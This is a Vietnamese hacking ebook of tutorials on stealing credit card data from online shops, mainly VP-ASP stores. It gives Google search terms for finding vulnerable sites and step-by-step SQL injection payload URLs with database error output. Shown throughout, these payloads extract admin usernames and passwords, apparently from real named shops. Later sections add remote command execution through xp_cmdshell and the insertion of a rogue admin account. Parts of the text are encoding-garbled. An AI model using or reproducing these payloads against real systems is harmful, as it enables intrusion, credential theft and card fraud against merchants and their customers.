You are on page 1of 66

Ebook naøy ñöôïc vieát ra nhaèm muïc ñích laø

hoïc hoûi vaø chia seõ kieán thöùc.


Email: hieuitpc@yahoo.com
Homepage: http://cntt.pro.vn

Noäi dung cuûa ebook: hai tutorials do hieupc vieát vaø moät vaøi tutorials khaùc do
anh em baèng höõu vieát, trong ñoù coù moät vaøi tutorials cuõ nhöng cuõng raát ñaùng
ñöôïc ñöa vaøo vôùi muïc ñích ñeå tham khaûo.
Hacking Credit Card Version 2.0 --- Written by Hieupc
shopdisplayproducts.asp?cat='

Sau một thời gian dài TTD bị chia cắt đến nay, hieupc mới bắt đầu viết 1 tutorial về hack credit card mới và có lẽ đây
là tutorial cuối cùng đầy đủ nhất,được hieupc biên soạn và sưu tầm từ nhiều tutorial cũ đến mới vào 1 cái ebook và trả
lời những câu hỏi thắc mắc của các bạn và hieupc cũng ðã làm 1 bản Ebook hacking credit card.

Nào giờ chúng ta bắt ðầu bắt ðầu nhé.

Cách này cũng nhý những cách thông thường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 số lỗi khác như:
OLE DB, JET Database, ASP…

Býớc 1:

Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.
Từ khoá nên dùng:
allinurl:”shopdisplayproducts.asp?id=
hoặc allinurl:”shopdisplayproducts.asp?cat=1 hoặc allinurl:”shopdisplayproducts.asp?cat=2……
Search shop theo Domain .com, .net , .biz…..:
allinurl:”.com/shopdisplayproducts.asp?cat=,allinurl:”.net/shopdisplayproducts.asp?cat=...
Ai biết chấm gì nữa thì thay vào :)
Khả năng lấy được credit card: là 99.9 % còn 0.1 % còn lại phụ thuộc vào cái đầu của bạn.
Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.

Býớc 2:

Ví dụ: lấy ví dụ là 1 site thế có dạng thế này : http://www.victim.com

http://www.victim.com/shopdisplayproducts.asp?id=5

Ta sẽ thêm dấu phẩy ( ` ) vào sau số 5:

http://www.victim.com/shopdisplayproducts.asp?id=5'

Xem nó có bị lỗi không nào, hic nó không bị lỗi, chỉ thấy thế này:

Home Improvement
Page 1 of 2
Không sao, chúng ta hãy bình tĩnh nhé, thay “ id “ bằng “ cat “ thử xem:
http://www.victim.com/shopdisplayproducts.asp?id=5'
-->>> http://www.victim.com/shopdisplayproducts.asp?cat=5'
Uh, nó lỗi ruì kìa:

5'
Microsoft JET Database Engine error '80040e14'

Syntax error in query expression 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.


catdescription like '5'%' and hide=0 order by specialoffer desc,cname'.

/shop$db.asp, line 467

Okie, tiếp tục nhé, bạn sẽ thêm ðoạn code sau ðây vào:

'%20union%20%20select%201%20from%20tbluser"having%201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?id=5'

Khi thêm xong thì sẽ nhý thế này:


http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201%20from%20tbluser"having%
201=1--sp_password
và ðýợc thế? này :

5' union select 1 from tbluser"having 1=1--sp_password


Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

/shop$db.asp, line 467

Chú ý nhé các bạn, cái dấu phẩy ( ` ) rất quan trọng, không có là không được.

Và cứ thế ta cứ tiếp tục thêm số nhé:


http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2%20from%20tbluser"having%
201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3%20from%20tbluser"having
%201=1--sp_password

http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3,4%20from%
20tbluser"having%201=1--sp_password
Cứ thế mà tiếp tục cho ðến khi bạn thấy 1 cái bảng đẹp đẹp hiện ra với vài con số.

Ở ðây là tới số 47 :

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having
%201=1--sp_password

3
click to see more 4
22

18
Please review these other products:

Nào giờ chúng ta bắt đầu lấy user and pass:

· fldusername : thay cho số 3 , hay 4, hay 22 tuỳ bạn

· fldpassword : thay cho số 3 , hay 4, hay 22 tuỳ bạn

Sau khi thêm xong ta sẽ được nhý thế này:

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having
%201=1--sp_password

Và có được username và password :


User: stephenrossi
pass: gnilsur

Hoặc bạn có thể gộp chung fldusername và fldpassword vào 1 số cũng được.

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fldusername%2b'/'%
2bfldpassword,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
40,41,42,43,44,45,46,47%20from%20tbluser"having%201=1--sp_password

Ta sẽ có user và pass được gộp chung 1 số:


stephenrossi/gnilsur
Bước 3:
Tìm link admin, thử đánh cái này vào được không nào: http://www.victim.com/shopadmin.asp hic không được rồi.

Thử cái này nữa thử xem, may ra nó chạy đến link admin thì sao: http://www.victim.com/shopadmin1.asp , cũng
không được.

Cái này hieupc đã download cái source của VPASP về xem cấu trúc nó thế nào, và đã tìm ra cậu lệnh thế này, chẳng
qua là thay table thôi.

Ta biết table configuration là nơi chứa những thông quan trọng của shop như là link admin, afftemplateaffiliate,
afftemplateMerchant…..

Vậy cậu lệnh sẽ thế này:

'%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Thay vào ta sẽ được:

http://www.valuevision.com.ph/shopdisplayproducts.asp?cat='%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Ta cũng thấy cái bảng:


3
click to see more 4
22

18
Please review these other products:

Lần này thì ta sẽ kiếm link admin, thường thì link admin nằm trong fieldvalue , vì thế ta sẽ đặt fieldvalue vào s ố 3,
hay 4, hay 22 tuỳ các bạn.

'%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Sau khi thêm xong ta sẽ được thế này:

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password
Các bạn sẽ chẳng thấy link admin ở đâu hết toàn là mấy con số, lúc đầu hieupc cũng tưởng là mình làm sai cậu lệnh,
nhưng loay hoay 1 đỗi , kéo trang lên, kéo trang xuống, à thì ra có tới 10 trang.
Page 1 of 10

Chỉ cần để ý là các bạn thấy thôi, nói thêm là: mỗi một trang như vậy là chứa những thông tin có trong fieldvalue ,
các bạn cứ cố gắng view từng trang nhé, hieupc view hết 10 trang và thu thập được những link có đuôi là *.asp:
shopaddmoretocart.asp

shopcheckout.asp

shopdisplaycategories.asp

Nhất định 1 trong 3 link này là link admin login , hieupc đã thử hết 3 link và cái link đầu tiên là link admin
shopaddmoretocart.asp

http://www.victim.com/shopaddmoretocart.asp
This site is reserved for Shop Administrators only.

Administrator's Login
UserName :
Password :

Bây giờ lấy username và password ở trên để thay vào. Việc còn lại chắc các bạn biết.

Image Field

THE END
Hacking Credit Card Version 1.0 --- Written by Hieupc
Hack Shop VPASP thật sự là như thế nào?

( Cập nhật và được phát triển thêm từ nhiều bài viết hướng dẫn trước đây )

CÁCH THỨ 1: Cái này chắc có lẽ cũng có nhiều bạn biết, nếu mình đoán không lầm thě chỉ có 30 %-50 % member là
biết cách này, tuy nhiên mình cũng đưa lên đây cho các bạn chýa biết và các bạn đă biết rùi học hỏi thêm ở mình hoặc
góp ý thêm cho mình chỗ nào chưa hoàn chỉnh !
Cách này cũng như những cách thông th ường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 s ố lỗi khác như
OLE DB, JET Database, ASP…
Bước 1: Ðể tìm site bị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop nh ư thế nào cho thật
là hiệu quả. Bước này cũng là bước quan trọng nhất vì không có shop lỗi làm sao hack :))
Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.
Từ khoá nên dùng:
allinurl:”shopdisplayproducts.asp?id=
hoặc allinurl:”shopdisplayproducts.asp?id=1 hoặc allinurl:”shopdisplayproducts.asp?id=2……
Search shop theo Domain .com, .net , .biz…..:
allinurl:”.com/shopdisplayproducts.asp?id= ; allinurl:”.net/shopdisplayproducts.asp?id=...
Ai biết chấm gì nữa thì thay vào :)
Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.
Bây giờ mình lấy ví dụ shop này nhé:
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1
Oh, 1 em Uk cực ngon không biết có CC.
Bây giờ kiểm tra xem nó lỗi không bằng cách thêm vào dấu phẩy ( ` )
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1'
Oh site bị lỗi kìa các bạn :
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 1' Order By specialOffer DESC,
cname'.

/chris/shop$db.asp, line 868

Bý?c 2:

Ta bắt đầu thêm vào đoạn code này :

%20union%20%20select%201%20from%20tbluser%27

Vào phía sau link shop nhớ bỏ luôn cái dấu phẩy sau ?id=1 nhé, nếu không là không được đâu đấy.
Khi thêm xong link sẽ như thế này:

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201%20from%
20tbluser%27

Oh không dụ gì đây :)

Products
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not
match.

/chris/shop$db.asp, line 868

Còn không biết qua bước 3 nữa, nhưng khoan các bạn hãy xem kinh nghiệm của mình đă khi thêm vào dấu phẩy ( ` )
mà nó hiện ra lỗi như vầy:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ' '.

/product.asp, line 29

Thì các bạn hack theo kiểu hack cũ nhé.

Thui bây giờ qua bước 3 nhé, nói nhiều quá :))

Sau khi đă hoàn thành bước 2, bạn sẽ bắt đầu 1 công việc thiêng liêng nhất và cũng là mệt mỏi nhất, không mệt đâu
chỉ uể oải 1 tí, đó là thêm số vào code:

1%20union%20%20select%201,2%20from%20tbluser%27

1%20union%20%20select%201,2,3%20from%20tbluser%27

1%20union%20%20select%201,2,3,4%20from%20tbluser%27………..

Khi thêm vào thì link sẽ như thế này :

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2%20from%
20tbluser%27
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3%20from%
20tbluser%27
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,4%20from%
20tbluser%27 ………… Cứ thêm số tiếp tục nhé, đừng nản lòng hãy cố lên.

Cho đến khi nó xuất hiện 1 cái bảng rất đẹp :))

Ái da, mỏi tay quá tới số 34 mới hiện ra cái bảng trời đánh này :))

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20from%20tbluser
%27

Đây là bước cuối cùng để lấy user and pass: những con số quan trọng của shop naỳ là : 3, 4 , 22.

fldusername <~ thay vào số 4

fldpassword <~ thay vào số 22

Sau khi thay xong link sẽ như thế này:

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,31,32,33,34%20from
%20tbluser%27

Và các bạn đã có user and pass rùi đấy:


User: admin848
pass: admin848

User: carste
pass: carste

Phần còn lại là tìm link admin để login, cái này cũng khá quan trọng vì không có link admin làm sao lấy CC :))

Chú ý: link admin để login mặc định của VPASP là : shopadmin.asp cũng có khi ta đánh shopadmin1.asp sẽ vào link
admin.

CÁCH HACK THỨ 2 RÚT RA TỪ BÀI HƯỚNG DẪN CỦA ANH HAI Silveryhat_Hacker :

Bước 1 tương tự như trên:


Ví dụ site này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153'

cũng thêm vào dấu phẩy ( ` ) để check lỗi


Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/shopping/shopdisplayproducts.asp, line 93
Oh có lỗi rồi, giờ sao đây :))
Cái này anh em biết khai thác chứ:
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20table_name%20from%20information_schema.tables))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data type
int.
/shopping/shopdisplayproducts.asp, line 93

Bước 2 chắc các bạn biết, chỉ là lấy table thui, mình chỉ việc kiếm table nào chưá users của admin là okie.
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('ver_Faq','coupons','customerprices','customers')))--sp_password

Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminUsers' to a column of data
type int.
/shopping/shopdisplayproducts.asp, line 93

Tới đây là đã quá rõ, cái mình chính là table này : 'AdminUsers' vì sao vậy vì nó chưá user và pass chắc. Thui cứ khai
thác thử.

Code: %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%
20where%20table_name=('AdminUsers')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')))--
sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminID' to a column of data type
int.
/shopping/shopdisplayproducts.asp, line 93
Và bước tiếp theo:

Code : %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%
20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login' to a column of data type int.
/shopping/shopdisplayproducts.asp, line 93

Và các bạn cứ tiếp tục thêm table vào:


http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID','login')))--sp_password

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID','login','pwd')))--sp_password

Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass:

Code: %20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--
sp_password

ặc ặc shop củ khoai:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin/admin' to a column of data
type int.
/shopping/shopdisplayproducts.asp, line 93

Hic hic, user: admin , pass: admin ; đủ biết là shop này thằng admin nó ngu đến cỡ nào
Bây giờ kiếm link admin là nhiệm vụ của bạn.
TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS
Tutorial ñöôïc vieát bôûi kidbandes

What you should look for? (Mục đích của việc tìm lỗi)

Tìm ra các trang cho phép bạn nhạp dữ liệu, ví dụ là login page, search page, .... Thỉnh thoảng, HTML page sử dụng
"Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không thể thấy thông số trên thanh URL, và xem
"FORM" tag trong HTML code. Bạn có thể tìm vài thứ như đoạn code sau:

<FORM action=Search/search.asp method=post>


<input type=hidden name=A value=C>
</FORM>

Mọi thứ giữa <FORM> và </FORM> có thông số lỗi được sử dụng.

What if you can't find any page that takes input? Bạn làm gì nếu không tìm ðýợc trang nhập liệu nào ?

Bạn nên tìm kiếm trang nhý ASP, JSP, CGI, hay PHP. Cố gắng tìm các URL vói các thông số sau:

http://shopping.com/index.asp?id=10

How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào)

Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1--
Nhập vào login hoặc password, hoặc ngay cả URL.

- login: hi' or 1=1--


- password: hi' or 1=1--
- http://shopping.com/index.asp?id=hi' or 1=1--

Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào đĩa cứng và chỉnh sửa URL và giá
trị ẩn. Ví dụ:

<form action=http://shopping.com/search/search.asp method=post>


<input type=hidden name=A value="hi' or 1=1--">
</form>

Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không co tên đãng nhập và mật mã

Nhưng tại sao dùng 'or 1=1-- ?

Chúng ta xem 1 ví dụ khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể xem nhiều dữ liệu
hơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ thấy cái link như sau:

http://shopping.com/index.asp?category=food

Trong URL, 'category' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường
hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viết ra cho bài viết này):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr

Như chúng ta thấy, biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành:

SELECT * FROM product WHERE PCategory='food'

Câu lệnh truy vấn trên sẽ đưa ra tất cả các giá trị với điều kiện là field PCategory là 'food'.

Bây giờ câu truy vấn sẽ nhý thế này:

http://shopping.com/index.asp?category=food' or 1=1--

Bây giờ, giá trị của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, chúng ta sẽ có:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Câu truy vấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--" sẽ bỏ qua các truy vấn của
MSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấu "#".

Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình thường ta chỉ cần sử dụng

or 'a'='a

Câu lệnh SQL sẽ là :

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Phụ thuộc vào câu truy vấn, ta sử dụng các giá trị sau:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh từ xa với SQL)

Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dưới
quyền SYSTEM, là user với quyền truy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master..xp_cmdshell thực
hiện lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Thử dấu (") nếu dấu (') không làm việc.

Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được,
bạn có thể lắng nghe các gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server:

#tcpdump icmp

Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là không ðýợc quyền, thì có thể
Administrator đã giới hạn quyền người dùng truy cập vào hệ thống.

How to get output of my SQL query?(Phýõng pháp Lấy kết quả từ câu truy vẫn SQL)

Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câu lệnh HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.


TABLES"

Nhưng địa chỉ IP phải có thư mục được share cho tất cả mọi người

How to get data from the database using ODBC error message (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC)

Chúng ta sử dụng thủ tục bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau:

http://shopping.com/index.asp?id=10

Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.


TABLES--

Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất cả các bảng trong hệ thống.
TABLE_NAME field chứa tất cả các tên của bảng trong hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truy
vấn sẽ là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Ðiều này se trả về bảng đầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị này
với số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thành 1 số nguyên. Thủ tục này bị
lỗi, bởi vì không thể thục hiện chuyển đổi từ nvarchar thành int. Server sẽ xuất hiện lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of
data type int.
/index.asp, line 5

Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi thành số. Trong trường hợp này, chúng ta có thể
lấy được tên table đầu tiên là "table1".

Để lấy table tiếp theo ta có thể sử dụng lệnh sau:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.


TABLES WHERE TABLE_NAME NOT IN ('table1')--

Chúng ta cũng có thể sử dụng nó bằng lệnh LIKE:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.


TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a
column of data type int.
/index.asp, line 5

Giá trị trong phù hợp, '%25login%25' sẽ được xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thể
lấy tên đầu tiên trong table có giá trị phù hợp là, "admin_login".

How to mine all column names of a table? (Cách lấy tất cả tên cột trong table)

Chúng ta có thể sử dụng table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM


INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column
of data type int.
/index.asp, line 5

Bây giờ chúng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp theo:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM


INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT
IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a
column of data type int.
/index.asp, line 5

Khi chúng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "details". Chúng ta sẽ biết được nội
dung khi sử dụng câu truy vấn sau:

Quote:
http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT
IN ('login_id','login_name','password',details')--

Output:

Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement
contains a UNION operator.
/index.asp, line 5

How to retrieve any data we want? (phương pháp lấy tất cả dữ liệu mình muốn)

Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðể
lấy dữ liệu cần thiết trong CSDL .

Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng "admin_login":

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kidbandes' to a
column of data type int.
/index.asp, line 5

Tên của user admin là "kidbandes". Cuối cùng chúng ta lấy thêm password của "kidbandes" trong CSDL

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where


login_name='kidbandes'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'loverthu' to a column
of data type int.
/index.asp, line 5

bây giờ chúng ta có thể đãng nhập với tên "kidbandes" và password "lovethu".

How to get numeric string value? (phương pháp lấy giá trị chuỗi s&#7889

Có 1 sự giới hạn trong kỹ thuật ở trên. Chúng ta không thể lấy được bất kỳ câu lệnh lỗi nào nếu chúng ta chuyển đổi
kiểu chuỗi thành bất kỳ kiểu số nào (các ki tự 0-9). Chúng ta cố gắng lấy password của "kimthu" mà nó là số
"123456":

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where


login_name='trinity'--

Thông thường chúng ta sẽ nhập được thông báo là "Page Not Found". Nguyên nhân ở đây là password của "kimthu" là
"123456" sẽ không thể chuyển đổi, trước UNION với 1 số (10 in this case). bới vì đây là 1 câu lệnh UNION đúng,
SQL server sẽ không quãng lỗi ODBC, và vì vậy chúng ta sẽ không thể lấy được thông báo lỗi.

Ðể giải quyết vấn đề này, Chúng ta có thể dùng một ki tu chuỗi để làm cho câu lệnh truy vấn lỗi. Chúng ta cố gắng
thực hiện câu truy vấn sau:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20anhyeuem') FROM


admin_login where login_name='trinity'--

Chúng ta sử dụng dấu (+) để kết hợp password với 1 giá trị chuỗi mà chúng ta muốn. (ASSCII code for '+' = 0x2b).
Chúng ta sẽ kết hợp với '(space)morpheus' thành 1 password thực. Vì vậy, ngay cả với password là một chuỗi số
'123456', Nó cũng sẽ trở thành '123456 anhyeuem' bằng cách ðõn giản gọi lệnh convert(), sau đó cố gắng chuyển đổi
'123456 anhyeuem' thành 1 số, SQL Server sẽ xuất hiện lỗi ODBC:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '123456 anhyeuem' to
a column of data type int.
/index.asp, line 5

How to update/insert data into the database? (phương pháp Update/Insert dữ liệu vào CSDL)

Khi chúng ta thành công trong việc thu thập thông tin từ CSDL, ðiều này có nghĩa chúng ta có thể UPDATE hoặc ngay
cả INSERT một record mới trong table. Ví dụ chúng ta có thể thay password của "kidbandes":

http://shopping.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'lovethu' WHERE


login_name='kidbandes'--

Để INSERT dữ liệu mới vào CSDL:

http://shopping.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details')


VALUES (666,'kidbandes2','lovethu','NA')--

Bây giờ chúng ta có thể đăng nhập với "kidbandes2" và password "lovethu".

date : 29/05/2005 TG kidbandes newbie of Thecorrs Family


TUTORIAL FORM jonnyhackstuff
Mức độ nguy hiểm : khá cao
tỷ lệ thành công :80%
Tool :+ site http://google.com.vn/
+ PC của bạn cài Access ( dùng để xem file .mdb)
